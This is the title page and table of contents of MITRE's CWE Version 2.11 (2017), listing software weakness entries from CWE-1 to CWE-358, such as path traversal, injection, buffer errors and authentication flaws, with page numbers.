CWE Version 2.11
2017-05-05

CWE is a Software Assurance strategic initiative sponsored by the National Cyber Security Division of the U.S. Department of Homeland Security

Copyright 2017, The MITRE Corporation

CWE and the CWE logo are trademarks of The MITRE Corporation
Contact cwe@mitre.org for more information
Table of Contents

Symbols Used in CWE

CWE-1: Location.......................................................................................................................... 1
CWE-2: Environment.................................................................................................................... 1
CWE-3: Technology-specific Environment Issues................................................................. 1
CWE-4: J2EE Environment Issues............................................................................................ 2
CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption................................. 2
CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length................................................ 3
CWE-7: J2EE Misconfiguration: Missing Custom Error Page..................................................... 5
CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote................................................... 6
CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods............................ 7
CWE-10: ASP.NET Environment Issues..................................................................................... 8
CWE-11: ASP.NET Misconfiguration: Creating Debug Binary.................................................... 8
CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page.......................................... 9
CWE-13: ASP.NET Misconfiguration: Password in Configuration File..................................... 11
CWE-14: Compiler Removal of Code to Clear Buffers.............................................................. 12
CWE-15: External Control of System or Configuration Setting............................................... 14
CWE-16: Configuration............................................................................................................. 15
CWE-17: Code............................................................................................................................ 17
CWE-18: Source Code............................................................................................................... 17
CWE-19: Data Processing Errors............................................................................................... 18
CWE-20: Improper Input Validation.......................................................................................... 18
CWE-21: Pathname Traversal and Equivalence Errors............................................................. 29
CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’).............. 30
CWE-23: Relative Path Traversal............................................................................................... 40
CWE-24: Path Traversal: ‘../filedir’......................................................................................... 45
CWE-25: Path Traversal: ‘../filedir’......................................................................................... 46
CWE-26: Path Traversal: ‘/dir/../../filename’......................................................................... 48
CWE-27: Path Traversal: ‘dir/../../filename’.......................................................................... 49
CWE-28: Path Traversal: ‘/filedir’......................................................................................... 51
CWE-29: Path Traversal: ‘./filename’..................................................................................... 52
CWE-30: Path Traversal: ‘dir/./filename’.............................................................................. 54
CWE-31: Path Traversal: ‘dir/../filename’............................................................................ 55
CWE-32: Path Traversal: ‘...’ (Triple Dot)... ........................................................................ 57
CWE-33: Path Traversal: ‘...’ (Multiple Dot)... ....................................................................... 58
CWE-34: Path Traversal: ‘///’............................................................................................... 60
CWE-35: Path Traversal: ‘/./’............................................................................................... 62
CWE-36: Absolute Path Traversal............................................................................................ 64
CWE-37: Path Traversal: ‘absolute/pathname/here’................................................................. 67
CWE-38: Path Traversal: ‘absolute\pathname\here’ ............................................................... 68
CWE-39: Path Traversal: ‘C:dirname’ ................................................................................... 70
CWE-40: Path Traversal: ‘\UNC\share\name\’ (Windows UNC Share)........................................ 72
CWE-41: Improper Resolution of Path Equivalence................................................................. 73
CWE-42: Path Equivalence: ‘filename.’ (Trailing Dot)... ................................................................ 78
CWE-43: Path Equivalence: ‘filename... ’ (Multiple Trailing Dot)... ........................................ 79
CWE-44: Path Equivalence: ‘file.name’ (Internal Dot)... .......................................................... 79
CWE-45: Path Equivalence: ‘file...name’ (Multiple Internal Dot)... ........................................... 80
CWE-46: Path Equivalence: ‘filename’ (Trailing Space)... ....................................................... 80
CWE-47: Path Equivalence: ‘ filename’ (Leading Space)... ....................................................... 81
CWE-48: Path Equivalence: ‘ file name’ (Internal Whitespace)... ............................................... 82
CWE-49: Path Equivalence: ‘filename/’ (Trailing Slash)... ....................................................... 83
CWE-50: Path Equivalence: ‘/multiple/leading/slash’.............................................................. 83
CWE-51: Path Equivalence: ‘multiple//internal/slash’................................................................ 84
CWE-52: Path Equivalence: ‘multiple/trailing/slash’/............................................................... 85
CWE-53: Path Equivalence: ‘multiple\internal\backslash’........................................................... 86
CWE-54: Path Equivalence: ‘filedir\’ (Trailing Backslash)......................................................... 86
CWE-55: Path Equivalence: ‘/.’ (Single Dot Directory)... .......................................................... 87
CWE-56: Path Equivalence: ‘filedir*’ (Wildcard)... ................................................................ 88
<table>
<thead>
<tr>
<th>CWE</th>
<th>Description</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-57</td>
<td>Path Equivalence: <code>fakedir/../realdir/filename</code></td>
<td>89</td>
</tr>
<tr>
<td>CWE-58</td>
<td>Path Equivalence: Windows 8.3 Filename</td>
<td>90</td>
</tr>
<tr>
<td>CWE-59</td>
<td>Improper Link Resolution Before File Access ('Link Following')</td>
<td>91</td>
</tr>
<tr>
<td>CWE-60</td>
<td>UNIX Path Link Problems</td>
<td>94</td>
</tr>
<tr>
<td>CWE-61</td>
<td>UNIX Symbolic Link (Symlink) Following</td>
<td>95</td>
</tr>
<tr>
<td>CWE-62</td>
<td>UNIX Hard Link</td>
<td>96</td>
</tr>
<tr>
<td>CWE-63</td>
<td>Windows Path Link Problems</td>
<td>98</td>
</tr>
<tr>
<td>CWE-64</td>
<td>Windows Shortcut Following (.LNK)</td>
<td>98</td>
</tr>
<tr>
<td>CWE-65</td>
<td>Windows Hard Link</td>
<td>100</td>
</tr>
<tr>
<td>CWE-66</td>
<td>Improper Handling of File Names that Identify Virtual Resources</td>
<td>101</td>
</tr>
<tr>
<td>CWE-67</td>
<td>Improper Handling of Windows Device Names</td>
<td>103</td>
</tr>
<tr>
<td>CWE-68</td>
<td>Windows Virtual File Problems</td>
<td>104</td>
</tr>
<tr>
<td>CWE-69</td>
<td>Improper Handling of Windows ::DATA Alternate Data Stream</td>
<td>105</td>
</tr>
<tr>
<td>CWE-70</td>
<td>Mac Virtual File Problems</td>
<td>106</td>
</tr>
<tr>
<td>CWE-71</td>
<td>Apple <code>.DS_Store</code></td>
<td>106</td>
</tr>
<tr>
<td>CWE-72</td>
<td>Improper Handling of Apple HFS+ Alternate Data Stream Path</td>
<td>107</td>
</tr>
<tr>
<td>CWE-73</td>
<td>External Control of File Name or Path</td>
<td>108</td>
</tr>
<tr>
<td>CWE-74</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')</td>
<td>113</td>
</tr>
<tr>
<td>CWE-75</td>
<td>Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)</td>
<td>116</td>
</tr>
<tr>
<td>CWE-76</td>
<td>Improper Neutralization of Equivalent Special Elements</td>
<td>116</td>
</tr>
<tr>
<td>CWE-77</td>
<td>Improper Neutralization of Special Elements used in a Command ('Command Injection')</td>
<td>117</td>
</tr>
<tr>
<td>CWE-78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
<td>121</td>
</tr>
<tr>
<td>CWE-79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
<td>131</td>
</tr>
<tr>
<td>CWE-80</td>
<td>Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)</td>
<td>142</td>
</tr>
<tr>
<td>CWE-81</td>
<td>Improper Neutralization of Script in an Error Message Web Page</td>
<td>144</td>
</tr>
<tr>
<td>CWE-82</td>
<td>Improper Neutralization of Script in Attributes of IMG Tags in a Web Page</td>
<td>146</td>
</tr>
<tr>
<td>CWE-83</td>
<td>Improper Neutralization of Script in Attributes in a Web Page</td>
<td>147</td>
</tr>
<tr>
<td>CWE-84</td>
<td>Improper Neutralization of Encoded URI Schemes in a Web Page</td>
<td>149</td>
</tr>
<tr>
<td>CWE-85</td>
<td>Doubled Character XSS Manipulations</td>
<td>151</td>
</tr>
<tr>
<td>CWE-86</td>
<td>Improper Neutralization of Invalid Characters in Identifiers in Web Pages</td>
<td>152</td>
</tr>
<tr>
<td>CWE-87</td>
<td>Improper Neutralization of Alternate XSS Syntax</td>
<td>153</td>
</tr>
<tr>
<td>CWE-88</td>
<td>Argument Injection or Modification</td>
<td>155</td>
</tr>
<tr>
<td>CWE-89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
<td>159</td>
</tr>
<tr>
<td>CWE-90</td>
<td>Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')</td>
<td>168</td>
</tr>
<tr>
<td>CWE-91</td>
<td>XML Injection (aka Blind XPath Injection)</td>
<td>170</td>
</tr>
<tr>
<td>CWE-92</td>
<td>DEPRECATED: Improper Sanitization of Custom Special Characters</td>
<td>172</td>
</tr>
<tr>
<td>CWE-93</td>
<td>Improper Neutralization of CRLF Sequences ('CRLF Injection')</td>
<td>172</td>
</tr>
<tr>
<td>CWE-94</td>
<td>Improper Control of Generation of Code ('Code Injection')</td>
<td>173</td>
</tr>
<tr>
<td>CWE-95</td>
<td>Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')</td>
<td>177</td>
</tr>
<tr>
<td>CWE-96</td>
<td>Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')</td>
<td>181</td>
</tr>
<tr>
<td>CWE-97</td>
<td>Improper Neutralization of Server-Side Includes (SSI) Within a Web Page</td>
<td>183</td>
</tr>
<tr>
<td>CWE-98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</td>
<td>184</td>
</tr>
<tr>
<td>CWE-99</td>
<td>Improper Control of Resource Identifiers ('Resource Injection')</td>
<td>190</td>
</tr>
<tr>
<td>CWE-100</td>
<td>Technology-Specific Input Validation Problems</td>
<td>192</td>
</tr>
<tr>
<td>CWE-101</td>
<td>Struts Validation Problems</td>
<td>193</td>
</tr>
<tr>
<td>CWE-102</td>
<td>Struts: Duplicate Validation Forms</td>
<td>193</td>
</tr>
<tr>
<td>CWE-103</td>
<td>Struts: Incomplete validate() Method Definition</td>
<td>194</td>
</tr>
<tr>
<td>CWE-104</td>
<td>Struts: Form Bean Does Not Extend Validation Class</td>
<td>196</td>
</tr>
<tr>
<td>CWE-105</td>
<td>Struts: Form Field Without Validator</td>
<td>198</td>
</tr>
<tr>
<td>CWE-106</td>
<td>Struts: Plug-in Framework not in Use</td>
<td>201</td>
</tr>
<tr>
<td>CWE-107</td>
<td>Struts: Unused Validation Form</td>
<td>202</td>
</tr>
<tr>
<td>CWE-108</td>
<td>Struts: Unvalidated Action Form</td>
<td>204</td>
</tr>
<tr>
<td>CWE-109</td>
<td>Struts: Validator Turned Off</td>
<td>205</td>
</tr>
<tr>
<td>CWE-110</td>
<td>Struts: Validator Without Form Field</td>
<td>206</td>
</tr>
<tr>
<td>CWE-111</td>
<td>Direct Use of Unsafe JNI</td>
<td>208</td>
</tr>
<tr>
<td>CWE-112</td>
<td>Missing XML Validation</td>
<td>210</td>
</tr>
<tr>
<td>CWE-113</td>
<td>Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')</td>
<td>211</td>
</tr>
<tr>
<td>CWE-114</td>
<td>Process Control</td>
<td>215</td>
</tr>
<tr>
<td>CWE</td>
<td>Description</td>
<td></td>
</tr>
<tr>
<td>-----</td>
<td>-------------</td>
<td></td>
</tr>
<tr>
<td>CWE-115</td>
<td>Misinterpretation of Input</td>
<td></td>
</tr>
<tr>
<td>CWE-116</td>
<td>Improper Encoding or Escaping of Output</td>
<td></td>
</tr>
<tr>
<td>CWE-117</td>
<td>Improper Output Neutralization for Logs</td>
<td></td>
</tr>
<tr>
<td>CWE-118</td>
<td>Incorrect Access of Indexable Resource (&quot;Range Error&quot;)</td>
<td></td>
</tr>
<tr>
<td>CWE-119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td></td>
</tr>
<tr>
<td>CWE-120</td>
<td>Buffer Copy without Checking Size of Input (&quot;Classic Buffer Overflow&quot;)</td>
<td></td>
</tr>
<tr>
<td>CWE-121</td>
<td>Stack-based Buffer Overflow</td>
<td></td>
</tr>
<tr>
<td>CWE-122</td>
<td>Heap-based Buffer Overflow</td>
<td></td>
</tr>
<tr>
<td>CWE-123</td>
<td>Write-what-where Condition</td>
<td></td>
</tr>
<tr>
<td>CWE-124</td>
<td>Buffer Underwrite (&quot;Buffer Underflow&quot;)</td>
<td></td>
</tr>
<tr>
<td>CWE-125</td>
<td>Out-of-bounds Read</td>
<td></td>
</tr>
<tr>
<td>CWE-126</td>
<td>Buffer Over-read</td>
<td></td>
</tr>
<tr>
<td>CWE-127</td>
<td>Buffer Under-read</td>
<td></td>
</tr>
<tr>
<td>CWE-128</td>
<td>Wrap-around Error</td>
<td></td>
</tr>
<tr>
<td>CWE-129</td>
<td>Improper Validation of Array Index</td>
<td></td>
</tr>
<tr>
<td>CWE-130</td>
<td>Improper Handling of Length Parameter Inconsistency</td>
<td></td>
</tr>
<tr>
<td>CWE-131</td>
<td>Incorrect Calculation of Buffer Size</td>
<td></td>
</tr>
<tr>
<td>CWE-132</td>
<td>DEPRECATED (Duplicate): Miscalculated Null Termination</td>
<td></td>
</tr>
<tr>
<td>CWE-133</td>
<td>String Errors</td>
<td></td>
</tr>
<tr>
<td>CWE-134</td>
<td>Use of Externally-Controlled Format String</td>
<td></td>
</tr>
<tr>
<td>CWE-135</td>
<td>Incorrect Calculation of Multi-Byte String Length</td>
<td></td>
</tr>
<tr>
<td>CWE-136</td>
<td>Type Errors</td>
<td></td>
</tr>
<tr>
<td>CWE-137</td>
<td>Representation Errors</td>
<td></td>
</tr>
<tr>
<td>CWE-138</td>
<td>Improper Neutralization of Special Elements</td>
<td></td>
</tr>
<tr>
<td>CWE-139</td>
<td>DEPRECATED: General Special Element Problems</td>
<td></td>
</tr>
<tr>
<td>CWE-140</td>
<td>Improper Neutralization of Delimiters</td>
<td></td>
</tr>
<tr>
<td>CWE-141</td>
<td>Improper Neutralization of Parameter/Argument Delimiters</td>
<td></td>
</tr>
<tr>
<td>CWE-142</td>
<td>Improper Neutralization of Value Delimiters</td>
<td></td>
</tr>
<tr>
<td>CWE-143</td>
<td>Improper Neutralization of Record Delimiters</td>
<td></td>
</tr>
<tr>
<td>CWE-144</td>
<td>Improper Neutralization of Line Delimiters</td>
<td></td>
</tr>
<tr>
<td>CWE-145</td>
<td>Improper Neutralization of Section Delimiters</td>
<td></td>
</tr>
<tr>
<td>CWE-146</td>
<td>Improper Neutralization of Expression/Command Delimiters</td>
<td></td>
</tr>
<tr>
<td>CWE-147</td>
<td>Improper Neutralization of Input Terminators</td>
<td></td>
</tr>
<tr>
<td>CWE-148</td>
<td>Improper Neutralization of Input Leaders</td>
<td></td>
</tr>
<tr>
<td>CWE-149</td>
<td>Improper Neutralization of Quoting Syntax</td>
<td></td>
</tr>
<tr>
<td>CWE-150</td>
<td>Improper Neutralization of Escape, Meta, or Control Sequences</td>
<td></td>
</tr>
<tr>
<td>CWE-151</td>
<td>Improper Neutralization of Comment Delimiters</td>
<td></td>
</tr>
<tr>
<td>CWE-152</td>
<td>Improper Neutralization of Macro Symbols</td>
<td></td>
</tr>
<tr>
<td>CWE-153</td>
<td>Improper Neutralization of Substitution Characters</td>
<td></td>
</tr>
<tr>
<td>CWE-154</td>
<td>Improper Neutralization of Variable Name Delimiters</td>
<td></td>
</tr>
<tr>
<td>CWE-155</td>
<td>Improper Neutralization of Wildcards or Matching Symbols</td>
<td></td>
</tr>
<tr>
<td>CWE-156</td>
<td>Improper Neutralization of Whitespace</td>
<td></td>
</tr>
<tr>
<td>CWE-157</td>
<td>Failure to Sanitize Paired Delimiters</td>
<td></td>
</tr>
<tr>
<td>CWE-158</td>
<td>Improper Neutralization of Null Byte or NUL Character</td>
<td></td>
</tr>
<tr>
<td>CWE-159</td>
<td>Failure to Sanitize Special Element</td>
<td></td>
</tr>
<tr>
<td>CWE-160</td>
<td>Improper Neutralization of Leading Special Elements</td>
<td></td>
</tr>
<tr>
<td>CWE-161</td>
<td>Improper Neutralization of Multiple Leading Special Elements</td>
<td></td>
</tr>
<tr>
<td>CWE-162</td>
<td>Improper Neutralization of Trailing Special Elements</td>
<td></td>
</tr>
<tr>
<td>CWE-163</td>
<td>Improper Neutralization of Multiple Trailing Special Elements</td>
<td></td>
</tr>
<tr>
<td>CWE-164</td>
<td>Improper Neutralization of Internal Special Elements</td>
<td></td>
</tr>
<tr>
<td>CWE-165</td>
<td>Improper Neutralization of Multiple Internal Special Elements</td>
<td></td>
</tr>
<tr>
<td>CWE-166</td>
<td>Improper Handling of Missing Special Element</td>
<td></td>
</tr>
<tr>
<td>CWE-167</td>
<td>Improper Handling of Additional Special Element</td>
<td></td>
</tr>
<tr>
<td>CWE-168</td>
<td>Improper Handling of Inconsistent Special Elements</td>
<td></td>
</tr>
<tr>
<td>CWE-169</td>
<td>Technology-Specific Special Elements</td>
<td></td>
</tr>
<tr>
<td>CWE-170</td>
<td>Improper Null Termination</td>
<td></td>
</tr>
<tr>
<td>CWE-171</td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
<td></td>
</tr>
<tr>
<td>CWE-172</td>
<td>Encoding Error</td>
<td></td>
</tr>
<tr>
<td>CWE-173</td>
<td>Improper Handling of Alternate Encoding</td>
<td></td>
</tr>
<tr>
<td>CWE-174</td>
<td>Double Decoding of the Same Data</td>
<td></td>
</tr>
<tr>
<td>CWE-175</td>
<td>Improper Handling of Mixed Encoding</td>
<td></td>
</tr>
<tr>
<td>CWE</td>
<td>Title</td>
<td>Page</td>
</tr>
<tr>
<td>-------</td>
<td>------------------------------------------------------------------------------------------------</td>
<td>------</td>
</tr>
<tr>
<td>CWE-176</td>
<td>Improper Handling of Unicode Encoding</td>
<td>339</td>
</tr>
<tr>
<td>CWE-177</td>
<td>Improper Handling of URL Encoding (Hex Encoding)</td>
<td>341</td>
</tr>
<tr>
<td>CWE-178</td>
<td>Improper Handling of Case Sensitivity</td>
<td>343</td>
</tr>
<tr>
<td>CWE-179</td>
<td>Incorrect Behavior Order: Early Validation</td>
<td>345</td>
</tr>
<tr>
<td>CWE-180</td>
<td>Incorrect Behavior Order: Validate Before Canonicalize</td>
<td>347</td>
</tr>
<tr>
<td>CWE-181</td>
<td>Incorrect Behavior Order: Validate Before Filter</td>
<td>349</td>
</tr>
<tr>
<td>CWE-182</td>
<td>Collapse of Data into Unsafe Value</td>
<td>350</td>
</tr>
<tr>
<td>CWE-183</td>
<td>Permissive Whitelist</td>
<td>352</td>
</tr>
<tr>
<td>CWE-184</td>
<td>Incomplete Blacklist</td>
<td>352</td>
</tr>
<tr>
<td>CWE-185</td>
<td>Incorrect Regular Expression</td>
<td>355</td>
</tr>
<tr>
<td>CWE-186</td>
<td>Overly Restrictive Regular Expression</td>
<td>356</td>
</tr>
<tr>
<td>CWE-187</td>
<td>Partial Comparison</td>
<td>357</td>
</tr>
<tr>
<td>CWE-188</td>
<td>Reliance on Data/Memory Layout</td>
<td>359</td>
</tr>
<tr>
<td>CWE-189</td>
<td>Numeric Errors</td>
<td>360</td>
</tr>
<tr>
<td>CWE-190</td>
<td>Integer Overflow or Wraparound</td>
<td>361</td>
</tr>
<tr>
<td>CWE-191</td>
<td>Integer Underflow (Wrap or Wraparound)</td>
<td>367</td>
</tr>
<tr>
<td>CWE-192</td>
<td>Integer Coercion Error</td>
<td>368</td>
</tr>
<tr>
<td>CWE-193</td>
<td>Off-by-one Error</td>
<td>371</td>
</tr>
<tr>
<td>CWE-194</td>
<td>Unexpected Sign Extension</td>
<td>375</td>
</tr>
<tr>
<td>CWE-195</td>
<td>Signed to Unsigned Conversion Error</td>
<td>377</td>
</tr>
<tr>
<td>CWE-196</td>
<td>Unsigned to Signed Conversion Error</td>
<td>380</td>
</tr>
<tr>
<td>CWE-197</td>
<td>Numeric Truncation Error</td>
<td>381</td>
</tr>
<tr>
<td>CWE-198</td>
<td>Use of Incorrect Byte Ordering</td>
<td>383</td>
</tr>
<tr>
<td>CWE-199</td>
<td>Information Management Errors</td>
<td>384</td>
</tr>
<tr>
<td>CWE-200</td>
<td>Information Exposure</td>
<td>384</td>
</tr>
<tr>
<td>CWE-201</td>
<td>Information Exposure Through Sent Data</td>
<td>388</td>
</tr>
<tr>
<td>CWE-202</td>
<td>Exposure of Sensitive Data Through Data Queries</td>
<td>389</td>
</tr>
<tr>
<td>CWE-203</td>
<td>Information Exposure Through Discrepancy</td>
<td>390</td>
</tr>
<tr>
<td>CWE-204</td>
<td>Response Discrepancy Information Exposure</td>
<td>392</td>
</tr>
<tr>
<td>CWE-205</td>
<td>Information Exposure Through Behavioral Discrepancy</td>
<td>394</td>
</tr>
<tr>
<td>CWE-206</td>
<td>Information Exposure of Internal State Through Behavioral Inconsistency</td>
<td>395</td>
</tr>
<tr>
<td>CWE-207</td>
<td>Information Exposure Through an External Behavioral Inconsistency</td>
<td>396</td>
</tr>
<tr>
<td>CWE-208</td>
<td>Information Exposure Through Timing Discrepancy</td>
<td>396</td>
</tr>
<tr>
<td>CWE-209</td>
<td>Information Exposure Through an Error Message</td>
<td>397</td>
</tr>
<tr>
<td>CWE-210</td>
<td>Information Exposure Through Self-generated Error Message</td>
<td>402</td>
</tr>
<tr>
<td>CWE-211</td>
<td>Information Exposure Through Externally-generated Error Message</td>
<td>404</td>
</tr>
<tr>
<td>CWE-212</td>
<td>Improper Cross-boundary Removal of Sensitive Data</td>
<td>405</td>
</tr>
<tr>
<td>CWE-213</td>
<td>Intentional Information Exposure</td>
<td>407</td>
</tr>
<tr>
<td>CWE-214</td>
<td>Information Exposure Through Process Environment</td>
<td>408</td>
</tr>
<tr>
<td>CWE-215</td>
<td>Information Exposure Through Debug Information</td>
<td>409</td>
</tr>
<tr>
<td>CWE-216</td>
<td>Containment Errors (Container Errors)</td>
<td>411</td>
</tr>
<tr>
<td>CWE-217</td>
<td>DEPRECATED: Failure to Protect Stored Data from Modification</td>
<td>412</td>
</tr>
<tr>
<td>CWE-218</td>
<td>DEPRECATED (Duplicate): Failure to provide confidentiality for stored data</td>
<td>412</td>
</tr>
<tr>
<td>CWE-219</td>
<td>Sensitive Data Under Web Root</td>
<td>412</td>
</tr>
<tr>
<td>CWE-220</td>
<td>Sensitive Data Under FTP Root</td>
<td>413</td>
</tr>
<tr>
<td>CWE-221</td>
<td>Information Loss or Omission</td>
<td>414</td>
</tr>
<tr>
<td>CWE-222</td>
<td>Truncation of Security-relevant Information</td>
<td>414</td>
</tr>
<tr>
<td>CWE-223</td>
<td>Omission of Security-relevant Information</td>
<td>415</td>
</tr>
<tr>
<td>CWE-224</td>
<td>Obscured Security-relevant Information by Alternate Name</td>
<td>416</td>
</tr>
<tr>
<td>CWE-225</td>
<td>DEPRECATED (Duplicate): General Information Management Problems</td>
<td>417</td>
</tr>
<tr>
<td>CWE-226</td>
<td>Sensitive Information Uncleared Before Release</td>
<td>417</td>
</tr>
<tr>
<td>CWE-227</td>
<td>Improper Fulfillment of API Contract ('API Abuse')</td>
<td>419</td>
</tr>
<tr>
<td>CWE-228</td>
<td>Improper Handling of Syntactically Invalid Structure</td>
<td>420</td>
</tr>
<tr>
<td>CWE-229</td>
<td>Improper Handling of Values</td>
<td>422</td>
</tr>
<tr>
<td>CWE-230</td>
<td>Improper Handling of Missing Values</td>
<td>422</td>
</tr>
<tr>
<td>CWE-231</td>
<td>Improper Handling of Extra Values</td>
<td>423</td>
</tr>
<tr>
<td>CWE-232</td>
<td>Improper Handling of Undefined Values</td>
<td>424</td>
</tr>
<tr>
<td>CWE-233</td>
<td>Improper Handling of Parameters</td>
<td>425</td>
</tr>
<tr>
<td>CWE-234</td>
<td>Failure to Handle Missing Parameter</td>
<td>426</td>
</tr>
<tr>
<td>CWE-235</td>
<td>Improper Handling of Extra Parameters</td>
<td>427</td>
</tr>
<tr>
<td>CWE-236</td>
<td>Improper Handling of Undefined Parameters</td>
<td>428</td>
</tr>
</tbody>
</table>
CWE-237: Improper Handling of Structural Elements ........................................................... 429
CWE-238: Improper Handling of Incomplete Structural Elements ..................................... 429
CWE-239: Failure to Handle Incomplete Element ............................................................... 430
CWE-240: Improper Handling of Inconsistent Structural Elements .................................... 430
CWE-241: Improper Handling of Unexpected Data Type .................................................... 431
CWE-242: Use of Inherently Dangerous Function ............................................................... 432
CWE-243: Creation of chroot Jail Without Changing Working Directory ....................... 434
CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection') ........ 435
CWE-245: J2EE Bad Practices: Direct Management of Connections ............................... 436
CWE-246: J2EE Bad Practices: Direct Use of Sockets ......................................................... 438
CWE-247: DEPRECATED (Duplicate): Reliance on DNS Lookups in a Security Decision ... 439
CWE-248: Uncaught Exception ......................................................................................... 439
CWE-249: DEPRECATED: Often Misused: Path Manipulation ........................................ 440
CWE-250: Execution with Unnecessary Privileges ............................................................ 441
CWE-251: Often Misused: String Management ................................................................. 446
CWE-252: Unchecked Return Value .................................................................................. 447
CWE-253: Incorrect Check of Function Return Value ....................................................... 452
CWE-254: Security Features ............................................................................................. 453
CWE-255: Credentials Management ............................................................................... 454
CWE-256: Plaintext Storage of a Password ..................................................................... 455
CWE-257: Storing Passwords in a Recoverable Format .................................................... 457
CWE-258: Empty Password in Configuration File ............................................................. 459
CWE-259: Use of Hard-coded Password ........................................................................ 460
CWE-260: Password in Configuration File ....................................................................... 464
CWE-261: Weak Cryptography for Passwords .................................................................. 465
CWE-262: Not Using Password Aging ............................................................................. 467
CWE-263: Password Aging with Long Expiration ............................................................. 468
CWE-264: Permissions, Privileges, and Access Controls .................................................. 469
CWE-265: Privilege / Sandbox Issues ............................................................................. 470
CWE-266: Incorrect Privilege Assignment ....................................................................... 472
CWE-267: Privilege Defined With Unsafe Actions ............................................................ 474
CWE-268: Privilege Chaining ........................................................................................... 476
CWE-269: Improper Privilege Management .................................................................... 478
CWE-270: Privilege Context Switching Error .................................................................... 480
CWE-271: Privilege Dropping / Lowering Errors ............................................................. 481
CWE-272: Least Privilege Violation ................................................................................ 483
CWE-273: Improper Check for Dropped Privileges .......................................................... 486
CWE-274: Improper Handling of Insufficient Privileges .................................................. 488
CWE-275: Permission Issues .......................................................................................... 489
CWE-276: Incorrect Default Permissions ........................................................................ 491
CWE-277: Insecure Inherited Permissions ...................................................................... 493
CWE-278: Insecure Preserved Inherited Permissions ........................................................ 494
CWE-279: Incorrect Execution-Assigned Permissions ...................................................... 495
CWE-280: Improper Handling of Insufficient Permissions or Privileges .......................... 496
CWE-281: Improper Preservation of Permissions ............................................................... 497
CWE-282: Improper Ownership Management .................................................................. 498
CWE-283: Unverified Ownership .................................................................................... 499
CWE-284: Improper Access Control .............................................................................. 500
CWE-285: Improper Authorization .................................................................................. 502
CWE-286: Incorrect User Management .......................................................................... 508
CWE-287: Improper Authentication ................................................................................ 508
CWE-288: Authentication Bypass Using an Alternate Path or Channel .......................... 513
CWE-289: Authentication Bypass by Alternate Name ...................................................... 514
CWE-290: Authentication Bypass by Spoofing ................................................................. 516
CWE-291: Reliance on IP Address for Authentication ...................................................... 518
CWE-292: DEPRECATED (Duplicate): Trusting Self-reported DNS Name ...................... 519
CWE-293: Using Referer Field for Authentication ............................................................. 520
CWE-294: Authentication Bypass by Capture-replay ....................................................... 521
CWE-295: Improper Certificate Validation ...................................................................... 522
CWE-296: Improper Following of a Certificate's Chain of Trust ..................................... 525
CWE-297: Improper Validation of Certificate with Host Mismatch .................................. 526
Table of Contents

CWE-298: Improper Validation of Certificate Expiration
CWE-299: Improper Check for Certificate Revocation
CWE-300: Channel Accessible by Non-Endpoint (‘Man-in-the-Middle’)
CWE-301: Reflection Attack in an Authentication Protocol
CWE-302: Authentication Bypass by Assumed-Immutable Data
CWE-303: Incorrect Implementation of Authentication Algorithm
CWE-304: Missing Critical Step in Authentication
CWE-305: Authentication Bypass by Primary Weakness
CWE-306: Missing Authentication for Critical Function
CWE-307: Improper Restriction of Excessive Authentication Attempts
CWE-308: Use of Single-factor Authentication
CWE-309: Use of Password System for Primary Authentication
CWE-310: Cryptographic Issues
CWE-311: Missing Encryption of Sensitive Data
CWE-312: Cleartext Storage of Sensitive Information
CWE-313: Cleartext Storage in a File or on Disk
CWE-314: Cleartext Storage in the Registry
CWE-315: Cleartext Storage of Sensitive Information in a Cookie
CWE-316: Cleartext Storage of Sensitive Information in Memory
CWE-317: Cleartext Storage of Sensitive Information in GUI
CWE-318: Cleartext Storage of Sensitive Information in Executable
CWE-319: Cleartext Transmission of Sensitive Information
CWE-320: Key Management Errors
CWE-321: Use of Hard-coded Cryptographic Key
CWE-322: Key Exchange without Entity Authentication
CWE-323: Reusing a Nonce, Key Pair in Encryption
CWE-324: Use of a Key Past its Expiration Date
CWE-325: Missing Required Cryptographic Step
CWE-326: Inadequate Encryption Strength
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
CWE-328: Reversible One-Way Hash
CWE-329: Not Using a Random IV with CBC Mode
CWE-330: Use of Insufficiently Random Values
CWE-331: Insufficient Entropy
CWE-332: Insufficient Entropy in PRNG
CWE-333: Improper Handling of Insufficient Entropy in TRNG
CWE-334: Small Space of Random Values
CWE-335: PRNG Seed Error
CWE-336: Same Seed in PRNG
CWE-337: Predictable Seed in PRNG
CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
CWE-339: Small Seed Space in PRNG
CWE-340: Predictability Problems
CWE-341: Predictable from Observable State
CWE-342: Predictable Exact Value from Previous Values
CWE-343: Predictable Value Range from Previous Values
CWE-344: Use of Invariant Value in Dynamically Changing Context
CWE-345: Insufficient Verification of Data Authenticity
CWE-346: Origin Validation Error
CWE-347: Improper Verification of Cryptographic Signature
CWE-348: Use of Less Trusted Source
CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data
CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action
CWE-351: Insufficient Type Distinction
CWE-352: Cross-Site Request Forgery (CSRF)
CWE-353: Missing Support for Integrity Check
CWE-354: Improper Validation of Integrity Check Value
CWE-355: User Interface Security Issues
CWE-356: Product UI does not Warn User of Unsafe Actions
CWE-357: Insufficient UI Warning of Dangerous Operations
CWE-358: Improperly Implemented Security Check for Standard
<table>
<thead>
<tr>
<th>CWE Version 2.11</th>
<th>ix</th>
